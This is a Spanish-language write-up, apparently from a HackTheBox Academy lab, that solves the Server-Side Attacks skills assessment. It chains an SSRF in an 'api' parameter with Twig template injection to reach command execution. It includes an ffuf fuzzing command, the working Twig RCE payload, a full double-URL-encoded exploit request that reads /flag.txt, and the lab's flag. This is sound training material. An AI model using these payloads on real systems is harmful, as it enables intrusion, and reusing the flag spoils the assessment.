{"url":"https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520","machine":{"name":"Skills Assessment - Server-Side Attacks","slug":"skills-assessment-server-side-attacks","platform":"HackTheBox","platform_slug":"hackthebox","difficulty":"medio","difficulty_label":"Medio","operating_system":["Web","Linux"],"tags":["web","ssrf","lateral","server-side"],"original_url":"https://academy.hackthebox.com/app/module/145/section/1346"},"author":{"nickname":"juanluismm520","url":"https://writeups.es/u/juanluismm520","bio":null},"summary":"Máquina final del módulo de Server-Side Attacks del path para la certificación CWES. En ella vemos claramente un SSRF y posiblemente más elementos que sean interesantes.","outline":[{"level":2,"title":"Resumen","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520#resumen"},{"level":2,"title":"Superficie de ataque","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520#superficie-de-ataque"},{"level":2,"title":"Análisis","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520#analisis"},{"level":2,"title":"Explotación","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520#explotacion"},{"level":3,"title":"Payload","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520#payload"},{"level":3,"title":"Explotación del SSTI (Twig)","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520#explotacion-del-ssti-twig"},{"level":2,"title":"Obtención de la flag","anchor":"https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520#obtencion-de-la-flag"}],"cves":[],"code_languages":["http","txt"],"stats":{"words":306,"reading_minutes":2,"votes":0},"content_markdown":"## Resumen\n\nMáquina final del módulo de Server-Side Attacks del path para la certificación CWES. En ella vemos claramente un SSRF y posiblemente más elementos que sean interesantes. \n\n## Superficie de ataque\n\n| Endpoint | Método | Parámetros | Observaciones |\n|----------|--------|------------|---------------|\n| /   | POST   | user, pass |      api=http://truckapi.htb/?id%3DFusionExpress01         |\n\n## Análisis\n\nNada más entrar obtenemos la petición \n```http\nPOST / HTTP/1.1\nHost: 154.57.164.77:30941\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://154.57.164.77:30941/\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 45\nOrigin: http://154.57.164.77:30941\nDNT: 1\nConnection: keep-alive\n\napi=http://truckapi.htb/?id%3DFusionExpress01\n```\n\nEstamos claramente ante un **SSRF**\n\n## Explotación\n\nSeguimos los apuntes que nos da el módulo. Básicamente consiste en buscar directorios y puertos en http://truckapi.htb usando `ffuf`. También es interesante buscar directorios y puertos en http://127.0.0.1. \n\n\n### Payload \nUsando ffuf en busca de directorios\n\n``` bash\nffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt \\\n  -u http://154.57.164.77:30941/ \\\n  -X POST \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"api=http://truckapi.htb/FUZZ/\" \\\n  -fr \"The requested URL was not found on this server\" \\\n  -s\n```\n\nEncontramos \n```txt\nicons\nvendor\nserver-status\n```\n\n> [!NOTE]\n> En realidad encontramos muchos más, el caso es que eran falsos positivos ya que por ejemplo tenían un nombre como `Reports List`, el problema es el espacio que producía un falso positivo. Por lo que no es real.\n\nInvestigando en `server-status` no encuentro nada, pero si logro encontrar en `/vendor/`.\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7ae299d8-efbf-4186-acf3-6ca5f168edf7.webp)\n\nEsto es interesante ya que podemos explorar todas las carpetas y vemos que utiliza `Twig`. **ESTAMOS ANTE UN SSTI**\n\n### Explotación del SSTI (Twig)\nMe doy cuenta gracias a ver los ficheros y a la explotación del `SSRF` que estamos ante un `SSTI` combinado con `SSRF`\nSi ejecutamos `api=http://truckapi.htb/?id={{7*7}}`, esto urlcodeado queda como `api=http://truckapi.htb/?id=%7B%7B7%2A7%7D%7D`\n\nNos devuelve: `{\"id\": \"49\", \"location\": \"134 Main Street\"}`. Si nos damos cuenta, se ha ejcutado la plantilla Twig al ejecutar una búsqueda al id 49 (resultado de 7*7). \n\nEl comando a ejecutar para comprobar si funciona **RCE** es este: `{{ ['id'] | filter('system') }}`. Al principio haciendo urlencode no funciona, pero entre mucha búsqueda descubro que se debe mandar doble urlencode para hacerlo funcionar. \n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/b284e657-87ab-4bbe-bbaa-58714cb051fe.webp)\n\nEstamos ante **RCE**, por lo que ejecutar un **LFI** para leer la flag debe ser sencillo. \n\n## Obtención de la flag\nTal como vimos en la sección anterior, debemos ejecutar este comando `api=http://truckapi.htb/?id={{ ['cat /flag.txt'] | filter('system') }}` para obtener la flag y así superar el módulo. Importante realizar doble urlencode. \n\nLa petición completa:\n```http\nPOST / HTTP/1.1\nHost: 154.57.164.67:30127\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://154.57.164.67:30127/\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 406\nOrigin: http://154.57.164.67:30127\nDNT: 1\nConnection: keep-alive\n\napi=http://truckapi.htb/?id=%25%37%62%25%37%62%25%32%30%25%35%62%25%32%37%25%36%33%25%36%31%25%37%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%34%25%37%38%25%37%34%25%32%37%25%35%64%25%32%30%25%37%63%25%32%30%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%38%25%32%37%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%37%25%32%39%25%32%30%25%37%64%25%37%64\n```\nY con ello obtenemos la flag \n> [!SPOILER]\n> HTB{3b8e2b940775e0267ce39d7c80488fc8}\n\n\n","published_at":"2026-08-29T14:55:13.789843+00:00","updated_at":"2026-08-29T15:41:26.413426+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de juanluismm520 publicado en writeups.es — https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520"}